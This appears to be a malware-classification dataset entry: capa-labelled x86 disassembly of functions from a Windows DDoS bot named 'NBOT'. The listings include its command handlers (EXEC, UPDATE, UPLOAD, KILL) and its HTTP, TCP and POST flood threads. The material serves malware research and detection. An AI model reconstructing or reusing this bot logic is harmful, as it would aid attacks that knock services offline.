joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100a6b0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ecx
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
push esi
xor esi, esi
cmp dword [esp + 0x10], esi
jbe 0x100a762
push ebx
push ebp
push edi
movzx ecx, cl
movzx edi, dl
lea edx, [ecx + 1]
and edx, 0x800000ff
jns 0x100a6e6
dec edx
or edx, 0xffffff00
inc edx
movzx ecx, dl
mov bl, byte [ecx + eax]
mov byte [esp + 0x12], bl
movzx ebx, bl
add ebx, edi
and ebx, 0x800000ff
jns 0x100a705
dec ebx
or ebx, 0xffffff00
inc ebx
movzx edi, bl
mov byte [esp + 0x13], bl
movzx ebx, byte [edi + eax]
mov byte [ecx + eax], bl
mov bl, byte [esp + 0x12]
mov byte [edi + eax], bl
movzx ebp, byte [ecx + eax]
movzx ebx, bl
add ebx, ebp
and ebx, 0x800000ff
jns 0x100a733
dec ebx
or ebx, 0xffffff00
inc ebx
mov ebp, dword [esp + 0x18]
movzx ebx, bl
movzx ebx, byte [ebx + eax]
xor byte [esi + ebp], bl
add esi, 1
cmp esi, dword [esp + 0x1c]
jb 0x100a6d3
mov cl, byte [esp + 0x13]
pop edi
pop ebp
pop ebx
mov byte [eax + 0x100], dl
mov byte [eax + 0x101], cl
pop esi
pop ecx
ret 8
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop esi
pop ecx
ret 8

Function at 0x100a780
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x102191b
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x102806c]
xor eax, esp
push eax
lea eax, [esp + 0xc]
mov dword fs:[0], eax
mov edi, dword [esp + 0x1c]
lea esi, [edi + 4]
call fcn.010044a0
mov dword [esp + 0x14], 0
mov dword [edi], vtable.TFC_Config.0
mov eax, dword [0x102a49c]
mov dword [edi + 0x4c], eax
mov ecx, dword [0x102a4a0]
mov dword [edi + 0x50], ecx
mov edx, dword [0x102a4a4]
mov dword [edi + 0x54], edx
mov eax, dword [0x102a4a8]
mov dword [edi + 0x58], eax
mov dword [edi + 0x48], str.xZfgarsUi_75tol
cmp dword [0x102a494], 0
je 0x100a809
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ecx, dword [0x102a498]
add ecx, eax
mov eax, dword [0x102a494]
push esi
call fcn.010049e0
lea edx, [edi + 0x30]
push edx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, edi
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0xc
ret 4

Function at 0x100a830
Capabilities:
Check mutex on windows

Disassembly:
push 0xffffffffffffffff
push 0x10219fb
mov eax, dword fs:[0]
push eax
push ecx
mov eax, dword [0x102806c]
xor eax, esp
push eax
lea eax, [esp + 8]
mov dword fs:[0], eax
mov eax, dword [0x102afd8]
test eax, eax
jne 0x100a868
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x102afd8], eax
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp dword [0x102afd4], 0
jne 0x100a8a3
push 0x5c
call fcn.01012314
add esp, 4
mov dword [esp + 4], eax
test eax, eax
mov dword [esp + 0x10], 0
je 0x100a89c
push eax
call fcn.0100a780
jmp 0x100a89e
xor eax, eax
mov dword [0x102afd4], eax
mov eax, dword [0x102afd8]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [0x102afd4]
mov ecx, dword [esp + 8]
mov dword fs:[0], ecx
pop ecx
add esp, 0x10
ret
Function at 0x100ac20
Capabilities:
Check mutex on windows

Disassembly:
mov eax, dword [0x102afe0]
test eax, eax
push esi
jne 0x100ac38
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x102afe0], eax
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [0x102afdc]
test ecx, ecx
jne 0x100ac6c
push 0x28
call fcn.01012314
add esp, 4
test eax, eax
je 0x100ac62
mov esi, eax
call fcn.0100ab80
jmp 0x100ac64
xor eax, eax
mov ecx, eax
mov dword [0x102afdc], ecx
cmp dword [ecx + 0x20], 0
jne 0x100ac77
call fcn.0100ac90
mov eax, dword [0x102afe0]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [0x102afdc]
pop esi
ret

Function at 0x100ae00
Capabilities:
Check mutex on windows
Create thread

Disassembly:
mov eax, dword [0x102afe8]
push edi
xor edi, edi
cmp eax, edi
jne 0x100ae1a
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x102afe8], eax
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [0x102afe4]
cmp eax, edi
jne 0x100ae6f
push esi
push 0x34
call fcn.01012314
mov esi, eax
add esp, 4
cmp esi, edi
je 0x100ae67
lea eax, [esi + 0x14]
push eax
mov dword [esi], edi
mov dword [esi + 4], edi
mov dword [esi + 8], edi
mov dword [esi + 0xc], 0x3e8
mov dword [esi + 0x10], edi
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [esi + 0x2c], 0xffffffff
mov dword [esi + 0x30], edi
mov eax, esi
jmp 0x100ae69
xor eax, eax
mov dword [0x102afe4], eax
pop esi
cmp dword [eax + 0x30], edi
jne 0x100ae8d
push edi
push edi
push eax
push 0x100afe0
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [0x102afe4]
mov dword [ecx + 0x2c], eax
mov edx, dword [0x102afe8]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [0x102afe4]
pop edi
ret
Function at 0x100b140
Capabilities:
Encode data using xor

Disassembly:
push 0xffffffffffffffff
push 0x102209a
mov eax, dword fs:[0]
push eax
sub esp, 0x278
mov eax, dword [0x102806c]
xor eax, esp
mov dword [esp + 0x270], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x102806c]
xor eax, esp
push eax
lea eax, [esp + 0x28c]
mov dword fs:[0], eax
mov ebp, dword [esp + 0x29c]
xor ebx, ebx
mov dword [ebp], vtable.NBOT_Handler.0
mov dword [ebp + 4], ebx
mov cx, word [str.NBOT_COM]
xor eax, eax
cmp cx, bx
mov dword [esp + 0x18], ebp
mov edx, str.NBOT_COM
je 0x100b1c3
movzx ecx, cx
jmp 0x100b1b0
movzx ecx, cx
rol eax, 7
add edx, 2
xor eax, ecx
movzx ecx, word [edx]
cmp cx, bx
jne 0x100b1b0
mov dword [ebp + 8], eax
mov dword [esp + 0x294], ebx
lea edi, [ebp + 0x14]
push ebx
mov dword [ebp], vtable.NBOT_COM.0
call fcn.01009400
lea esi, [ebp + 0x70]
call fcn.01004ce0
push ebx
call sub.WS2_32.dll_ntohl
push 0x104
lea edx, [esp + 0x80]
push edx
push ebx
push ebx
call sub.PSAPI.DLL_GetModuleBaseNameW
mov dword [ebp + 0x88], ebx
mov dword [ebp + 0x8c], ebx
mov byte [esp + 0x294], 3
call fcn.0100a830
mov esi, eax
lea eax, [ebp + 0x58]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
add esi, 4
mov edi, str.NBOT_UUID
mov eax, esi
call fcn.010041e0
test eax, eax
jne 0x100b2a2
lea ecx, [esp + 0x1c]
push ecx
call dword [sym.imp.RPCRT4.dll_UuidCreate]
movzx edx, byte [esp + 0x2b]
movzx eax, byte [esp + 0x2a]
movzx ecx, byte [esp + 0x29]
push edx
movzx edx, byte [esp + 0x2c]
push eax
movzx eax, byte [esp + 0x2f]
push ecx
movzx ecx, byte [esp + 0x32]
push edx
movzx edx, byte [esp + 0x35]
push eax
movzx eax, byte [esp + 0x38]
push ecx
movzx ecx, word [esp + 0x3a]
push edx
movzx edx, word [esp + 0x3c]
push eax
mov eax, dword [esp + 0x3c]
push ecx
push edx
push eax
push 0x1024d40
lea ecx, [esp + 0x5c]
push 0x28
push ecx
call fcn.0100fef0
add esp, 0x38
push edi
push esi
lea ebx, [esp + 0x34]
call fcn.01004750
push str.http:__www.google.com
lea ebx, [ebp + 0x14]
call fcn.010095c0
mov eax, ebp
mov ecx, dword [esp + 0x28c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x270]
xor ecx, esp
call fcn.0100fd07
add esp, 0x284
ret 4
Function at 0x100c070
Capabilities:
Encode data using xor

Disassembly:
mov dword [eax], vtable.NBOT_Handler.0
mov dword [eax + 4], 0
mov cx, word [str.ATCLEAR]
xor edx, edx
test cx, cx
push esi
mov esi, str.ATCLEAR
je 0x100c0a7
movzx ecx, cx
movzx ecx, cx
rol edx, 7
add esi, 2
xor edx, ecx
movzx ecx, word [esi]
test cx, cx
jne 0x100c094
mov dword [eax + 8], edx
mov dword [eax], vtable.NBOT_ATCLEAR.0
pop esi
ret
Function at 0x100c740
Capabilities:
Encode data using xor

Disassembly:
mov dword [eax], vtable.NBOT_Handler.0
mov dword [eax + 4], 0
mov cx, word [str.PING]
xor edx, edx
test cx, cx
push esi
mov esi, str.PING
je 0x100c777
movzx ecx, cx
movzx ecx, cx
rol edx, 7
add esi, 2
xor edx, ecx
movzx ecx, word [esi]
test cx, cx
jne 0x100c764
mov dword [eax + 8], edx
mov dword [eax], vtable.NBOT_PING.0
pop esi
ret

Function at 0x100c950
Capabilities:
Encode data using xor

Disassembly:
mov dword [eax], vtable.NBOT_Handler.0
mov dword [eax + 4], 0
mov cx, word [str.EXEC]
xor edx, edx
test cx, cx
push esi
mov esi, str.EXEC
je 0x100c987
movzx ecx, cx
movzx ecx, cx
rol edx, 7
add esi, 2
xor edx, ecx
movzx ecx, word [esi]
test cx, cx
jne 0x100c974
mov dword [eax + 8], edx
mov dword [eax], vtable.NBOT_EXEC.0
pop esi
ret

Function at 0x100c9a0
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1021d4b
mov eax, dword fs:[0]
push eax
sub esp, 0x224
mov eax, dword [0x102806c]
xor eax, esp
mov dword [esp + 0x21c], eax
push esi
push edi
mov eax, dword [0x102806c]
xor eax, esp
push eax
lea eax, [esp + 0x230]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov edi, str.NBOT_COMMAND_LINE
call fcn.010041e0
test eax, eax
je 0x100ca84
cmp byte [eax + 0x10], 6
jne 0x100ca84
mov eax, dword [eax + 4]
mov ecx, 1
call fcn.01004b90
mov edi, eax
test edi, edi
je 0x100ca84
lea esi, [esp + 0xc]
call fcn.01002cd0
push 0x104
lea eax, [esp + 0x20]
push eax
push edi
mov dword [esp + 0x244], 0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [esp + 0x1c]
mov ecx, esi
call fcn.01002d70
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.01010bef
mov eax, dword [esp + 0x18]
add esp, 4
test eax, eax
je 0x100ca62
push eax
call fcn.01010bef
add esp, 4
mov eax, dword [esp + 0x18]
test eax, eax
je 0x100ca73
push eax
call fcn.01010bef
add esp, 4
mov eax, dword [esp + 0xc]
test eax, eax
je 0x100ca84
push eax
call fcn.01010bef
add esp, 4
xor eax, eax
mov ecx, dword [esp + 0x230]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [esp + 0x21c]
xor ecx, esp
call fcn.0100fd07
mov esp, ebp
pop ebp
ret 4

Function at 0x100cab0
Capabilities:
Encode data using xor

Disassembly:
push 0xffffffffffffffff
push 0x1021b68
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x102806c]
xor eax, esp
push eax
lea eax, [esp + 0xc]
mov dword fs:[0], eax
mov edi, dword [esp + 0x1c]
mov dword [edi], vtable.NBOT_Handler.0
mov dword [edi + 4], 0
mov ax, word [str.HTTPF]
xor ecx, ecx
test ax, ax
mov edx, str.HTTPF
je 0x100cb13
movzx eax, ax
jmp 0x100cb00
movzx eax, ax
rol ecx, 7
add edx, 2
xor ecx, eax
movzx eax, word [edx]
test ax, ax
jne 0x100cb00
mov dword [edi + 8], ecx
mov dword [esp + 0x14], 0
lea esi, [edi + 0x14]
mov dword [edi], vtable.NBOT_HTTP_FLOOD.0
call fcn.010044a0
mov dword [edi + 0x10], 1
mov dword [edi + 0xc], 0
mov eax, edi
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0xc
ret 4
Function at 0x100cd50
Capabilities:
Create thread

Disassembly:
mov eax, dword [esi + 0xc]
test eax, eax
mov dword [esi + 0x10], 1
je 0x100cd78
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esi + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0xc], 0
push 0
push 0
push esi
push 0x100cda0
push 0
push 0
mov dword [esi + 0x10], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0xc], eax
ret

Function at 0x100d0d0
Capabilities:
Encode data using xor

Disassembly:
push 0xffffffffffffffff
push 0x1021828
mov eax, dword fs:[0]
push eax
push ebx
push esi
push edi
mov eax, dword [0x102806c]
xor eax, esp
push eax
lea eax, [esp + 0x10]
mov dword fs:[0], eax
mov ebx, dword [esp + 0x20]
xor esi, esi
mov dword [ebx], vtable.NBOT_Handler.0
mov dword [ebx + 4], esi
mov ax, word [str.ASPFLOOD]
xor ecx, ecx
cmp ax, si
mov edx, str.ASPFLOOD
je 0x100d12a
movzx eax, ax
movzx eax, ax
rol ecx, 7
add edx, 2
xor ecx, eax
movzx eax, word [edx]
cmp ax, si
jne 0x100d117
mov dword [ebx + 8], ecx
mov dword [esp + 0x18], esi
lea esi, [ebx + 0x410]
mov dword [ebx], vtable.NBOT_ASP_FLOOD.0
call fcn.010044a0
xor eax, eax
lea edi, [ebx + 0xc]
mov ecx, 0x100
mov dword [ebx + 0x40c], 1
rep stosd dword es:[edi], eax
mov eax, ebx
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0xc
ret 4

Function at 0x100d330
Capabilities:
Create thread

Disassembly:
push edi
mov eax, ebx
call fcn.0100d390
lea eax, [ebx + 0x410]
mov edi, str.NBOT_MAX_REQ
mov dword [ebx + 0x40c], 0
call fcn.010041e0
test eax, eax
je 0x100d38c
cmp byte [eax + 0x10], 3
jne 0x100d38c
mov edi, dword [eax + 0xc]
test edi, edi
jbe 0x100d38c
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_CreateThread]
push esi
lea esi, [ebx + 0xc]
mov edi, edi
push 0
push 0
push ebx
push 0x100d3e0
push 0
push 0
call ebp
mov dword [esi], eax
add esi, 4
sub edi, 1
jne 0x100d370
pop esi
pop ebp
pop edi
ret

Function at 0x100d6a0
Capabilities:
Encode data using xor

Disassembly:
mov dword [edx], vtable.NBOT_Handler.0
mov dword [edx + 4], 0
mov ax, word [str.TCPFLOOD]
push esi
xor ecx, ecx
test ax, ax
push edi
mov esi, str.TCPFLOOD
je 0x100d6d7
movzx eax, ax
movzx eax, ax
rol ecx, 7
add esi, 2
xor ecx, eax
movzx eax, word [esi]
test ax, ax
jne 0x100d6c4
mov esi, 1
mov dword [edx + 8], ecx
xor eax, eax
mov dword [edx + 0x40c], esi
lea edi, [edx + 0xc]
mov ecx, 0x100
mov dword [edx], vtable.NBOT_TCP_FLOOD.0
rep stosd dword es:[edi], eax
pop edi
mov dword [edx + 0x518], esi
mov dword [edx + 0x514], 0x10
mov dword [edx + 0x51c], 0xffffffff
mov eax, edx
pop esi
ret
Function at 0x100d950
Capabilities:
Create thread

Disassembly:
push edi
mov eax, esi
call fcn.0100d740
mov eax, dword [esi + 0x514]
xor edi, edi
cmp eax, edi
mov dword [esi + 0x40c], edi
jne 0x100d976
mov dword [esi + 0x514], 1
jmp 0x100d987
cmp eax, 0x100
jbe 0x100d987
mov dword [esi + 0x514], 0x100
cmp dword [esi + 0x514], edi
jbe 0x100d9c2
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_CreateThread]
lea ebx, [esi + 0xc]
lea ebx, [ebx]
push 0
push 0
push esi
push 0x100da20
push 0
push 0
call ebp
mov dword [ebx], eax
add edi, 1
add ebx, 4
cmp edi, dword [esi + 0x514]
jb 0x100d9a0
pop ebp
pop ebx
pop edi
ret

Function at 0x100dbe0
Capabilities:
Encode data using xor

Disassembly:
mov edx, esi
call fcn.0100d6a0
mov dword [esi], vtable.NBOT_WEB_FLOOD.0
mov ax, word [str.WEBFLOOD]
xor ecx, ecx
test ax, ax
mov edx, str.WEBFLOOD
je 0x100dc15
movzx eax, ax
movzx eax, ax
rol ecx, 7
add edx, 2
xor ecx, eax
movzx eax, word [edx]
test ax, ax
jne 0x100dc02
mov eax, esi
mov dword [esi + 8], ecx
ret

Function at 0x100dcd0
Capabilities:
Encode data using xor

Disassembly:
mov edx, edi
call fcn.0100d6a0
mov dword [edi], vtable.NBOT_WEB_POST_FLOOD.0
mov ax, word [str.POSTFLOOD]
xor ecx, ecx
test ax, ax
mov edx, str.POSTFLOOD
je 0x100dd05
movzx eax, ax
movzx eax, ax
rol ecx, 7
add edx, 2
xor ecx, eax
movzx eax, word [edx]
test ax, ax
jne 0x100dcf2
push esi
push 0x1000
mov dword [edi + 8], ecx
call fcn.01011158
add esp, 4
mov dword [edi + 0x520], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.01011ad2
add esp, 4
xor esi, esi
lea ecx, [ecx]
call fcn.01011adf
mov ecx, dword [edi + 0x520]
mov byte [esi + ecx], al
add esi, 1
cmp esi, 0x1000
jb 0x100dd30
mov dword [edi + 0x518], 0x182b8
mov dword [edi + 0x928], 0
mov eax, edi
pop esi
ret
Function at 0x100e0f0
Capabilities:
Encode data using xor

Disassembly:
push 0xffffffffffffffff
push 0x1021f98
mov eax, dword fs:[0]
push eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x102806c]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
mov esi, dword [esp + 0x24]
xor ebp, ebp
mov dword [esi], vtable.NBOT_Handler.0
mov dword [esi + 4], ebp
mov ax, word [str.STATISTICS]
xor ecx, ecx
cmp ax, bp
mov edx, str.STATISTICS
je 0x100e153
movzx eax, ax
jmp 0x100e140
movzx eax, ax
rol ecx, 7
add edx, 2
xor ecx, eax
movzx eax, word [edx]
cmp ax, bp
jne 0x100e140
mov dword [esi + 8], ecx
push ebp
push ebp
push 1
mov dword [esp + 0x28], ebp
push ebp
mov dword [esi], vtable.NBOT_STATISTICS.0
mov dword [esi + 0xc], ebp
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [esi + 0x10], eax
mov dword [esi + 0x20], 0x28e44000
mov dword [esi + 0x24], 0x580
mov dword [esi + 0x28], 0x36ee80
mov dword [esi + 0x2c], ebp
call fcn.0100a830
lea ebx, [eax + 4]
mov edi, str.NBOT_STATS_END
mov eax, ebx
call fcn.010041e0
test eax, eax
je 0x100e1f0
mov edi, str.NBOT_STATS_URL
mov eax, ebx
call fcn.010041e0
test eax, eax
je 0x100e1f0
mov edi, str.NBOT_STATS_END
mov eax, ebx
call fcn.010041e0
cmp eax, ebp
je 0x100e1cd
cmp byte [eax + 0x10], 5
jne 0x100e1cd
mov ecx, dword [eax + 4]
mov dword [esi + 0x18], ecx
mov edi, str.NBOT_STATS_URL
mov eax, ebx
call fcn.010041e0
cmp eax, ebp
je 0x100e1e9
cmp byte [eax + 0x10], 4
jne 0x100e1e9
mov edx, dword [eax + 4]
mov dword [esi + 0x14], edx
call fcn.0100e570
jmp 0x100e1f6
mov dword [esi + 0x18], ebp
mov dword [esi + 0x14], ebp
mov eax, esi
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret 4

Function at 0x100e570
Capabilities:
Create thread

Disassembly:
push 0xffffffffffffffff
push 0x10218bb
mov eax, dword fs:[0]
push eax
sub esp, 8
push edi
mov eax, dword [0x102806c]
xor eax, esp
push eax
lea eax, [esp + 0x10]
mov dword fs:[0], eax
mov eax, dword [esi + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov eax, dword [esi + 0xc]
test eax, eax
je 0x100e5bf
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [esi + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0xc], 0
mov edx, dword [esi + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
cmp dword [esi + 0x2c], 0
jne 0x100e5fc
push 0x44
call fcn.01012314
add esp, 4
mov dword [esp + 0xc], eax
test eax, eax
mov dword [esp + 0x18], 0
je 0x100e5f7
push str.http:__www.google.com
mov edi, eax
call fcn.01009400
jmp 0x100e5f9
xor eax, eax
mov dword [esi + 0x2c], eax
push 0
push 0
push esi
push 0x100e630
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0xc], eax
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
add esp, 0x14
ret
Function at 0x100e7e0
Capabilities:
Encode data using xor

Disassembly:
mov dword [esi], vtable.NBOT_Handler.0
mov dword [esi + 4], 0
mov ax, word [str.KILL]
xor ecx, ecx
test ax, ax
mov edx, str.KILL
je 0x100e815
movzx eax, ax
movzx eax, ax
rol ecx, 7
add edx, 2
xor ecx, eax
movzx eax, word [edx]
test ax, ax
jne 0x100e802
push 0
push 0
push 1
push 0
mov dword [esi + 8], ecx
mov dword [esi], vtable.NBOT_KILLER.0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [esi + 0xc], eax
mov eax, esi
ret

Function at 0x100e8a0
Capabilities:
Encode data using xor

Disassembly:
mov dword [eax], vtable.NBOT_Handler.0
mov dword [eax + 4], 0
mov cx, word [0x102a330]
xor edx, edx
test cx, cx
push esi
mov esi, 0x102a330
je 0x100e8d7
movzx ecx, cx
movzx ecx, cx
rol edx, 7
add esi, 2
xor edx, ecx
movzx ecx, word [esi]
test cx, cx
jne 0x100e8c4
mov dword [eax + 8], edx
mov dword [eax], vtable.NBOT_CONFIG.0
pop esi
ret

Function at 0x100ea90
Capabilities:
Encode data using xor

Disassembly:
mov dword [eax], vtable.NBOT_Handler.0
mov dword [eax + 4], 0
mov cx, word [str.UPLOAD]
xor edx, edx
test cx, cx
push esi
mov esi, str.UPLOAD
je 0x100eac7
movzx ecx, cx
movzx ecx, cx
rol edx, 7
add esi, 2
xor edx, ecx
movzx ecx, word [esi]
test cx, cx
jne 0x100eab4
mov dword [eax + 8], edx
mov dword [eax], vtable.NBOT_UPLOAD.0
pop esi
ret

Function at 0x100eae0
Capabilities:
Query environment variable

Disassembly:
push 0xffffffffffffffff
push 0x1021c4b
mov eax, dword fs:[0]
push eax
sub esp, 0x41c
mov eax, dword [0x102806c]
xor eax, esp
mov dword [esp + 0x418], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x102806c]
xor eax, esp
push eax
lea eax, [esp + 0x430]
mov dword fs:[0], eax
mov esi, dword [esp + 0x440]
xor ebx, ebx
push ebx
call sub.WS2_32.dll_ntohl
push 0x104
lea eax, [esp + 0x228]
push eax
push ebx
push ebx
call sub.PSAPI.DLL_GetModuleBaseNameW
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ebx
mov edi, str.NBOT_COMMAND_LINE
mov eax, esi
mov dword [esp + 0x438], ebx
call fcn.010041e0
cmp eax, ebx
je 0x100ebd9
cmp byte [eax + 0x10], 6
jne 0x100ebd9
mov ebp, dword [eax + 4]
mov edi, str.NBOT_DATA
mov eax, esi
call fcn.010041e0
cmp eax, ebx
je 0x100ebd9
cmp byte [eax + 0x10], 5
jne 0x100ebd9
mov esi, dword [eax + 4]
mov edi, dword [eax + 8]
mov ecx, 2
mov eax, ebp
call fcn.01004b90
mov ebp, eax
cmp ebp, ebx
je 0x100ebd9
push 0x104
lea ecx, [esp + 0x20]
push ecx
push ebp
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov ebx, esi
lea esi, [esp + 0x14]
call fcn.01002580
test eax, eax
je 0x100ebbf
lea eax, [esp + 0x1c]
mov edi, esi
call fcn.01002520
push ebp
call fcn.01010bef
mov eax, dword [esp + 0x18]
add esp, 4
test eax, eax
je 0x100ebd9
push eax
call fcn.01010bef
add esp, 4
xor eax, eax
mov ecx, dword [esp + 0x430]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x418]
xor ecx, esp
call fcn.0100fd07
add esp, 0x428
ret 4
Function at 0x100ec10
Capabilities:
Encode data using xor

Disassembly:
mov dword [eax], vtable.NBOT_Handler.0
mov dword [eax + 4], 0
mov cx, word [str.UPDATE]
xor edx, edx
test cx, cx
push esi
mov esi, str.UPDATE
je 0x100ec47
movzx ecx, cx
movzx ecx, cx
rol edx, 7
add esi, 2
xor edx, ecx
movzx ecx, word [esi]
test cx, cx
jne 0x100ec34
mov dword [eax + 8], edx
mov dword [eax], vtable.NBOT_UPDATE.0
pop esi
ret

Function at 0x100ec60
Capabilities:
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1021d0b
mov eax, dword fs:[0]
push eax
sub esp, 0x438
mov eax, dword [0x102806c]
xor eax, esp
mov dword [esp + 0x430], eax
push ebx
push esi
push edi
mov eax, dword [0x102806c]
xor eax, esp
push eax
lea eax, [esp + 0x448]
mov dword fs:[0], eax
mov ebx, dword [ebp + 8]
lea esi, [esp + 0x1c]
call fcn.01002cd0
mov edi, str.NBOT_COMMAND_LINE
mov eax, ebx
mov dword [esp + 0x450], 0
call fcn.010041e0
test eax, eax
je 0x100edab
cmp byte [eax + 0x10], 6
jne 0x100edab
mov esi, dword [eax + 4]
mov edi, str.NBOT_DATA
mov eax, ebx
call fcn.010041e0
test eax, eax
je 0x100edab
cmp byte [eax + 0x10], 5
jne 0x100edab
mov ebx, dword [eax + 4]
mov eax, dword [eax + 8]
mov dword [esp + 0x18], eax
call fcn.0100a830
add eax, 4
mov edi, str.NBOT_VER
call fcn.010041e0
test eax, eax
je 0x100ed21
cmp byte [eax + 0x10], 6
jne 0x100ed21
mov edi, dword [eax + 4]
jmp 0x100ed25
mov edi, dword [esp + 0x14]
mov ecx, 2
mov eax, esi
call fcn.01004b90
mov esi, eax
test esi, esi
mov dword [esp + 0x14], esi
je 0x100ed4d
test edi, edi
je 0x100ed4d
push edi
push esi
call fcn.0101001b
add esp, 8
test eax, eax
je 0x100ed9e
lea ecx, [esp + 0x2c]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea edx, [esp + 0x234]
push edx
push 0
push 0x10258dc
lea eax, [esp + 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov edi, dword [esp + 0x18]
lea esi, [esp + 0x1c]
call fcn.01002580
test eax, eax
je 0x100ed9a
lea eax, [esp + 0x234]
mov ecx, esi
call fcn.01002d70
test eax, eax
jne 0x100ee06
mov esi, dword [esp + 0x14]
test esi, esi
je 0x100edab
push esi
call fcn.01010bef
add esp, 4
mov eax, dword [esp + 0x24]
test eax, eax
je 0x100edbc
push eax
call fcn.01010bef
add esp, 4
mov eax, dword [esp + 0x28]
test eax, eax
je 0x100edcd
push eax
call fcn.01010bef
add esp, 4
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x100edde
push eax
call fcn.01010bef
add esp, 4
xor eax, eax
mov ecx, dword [esp + 0x448]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x430]
xor ecx, esp
call fcn.0100fd07
mov esp, ebp
pop ebp
ret 4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]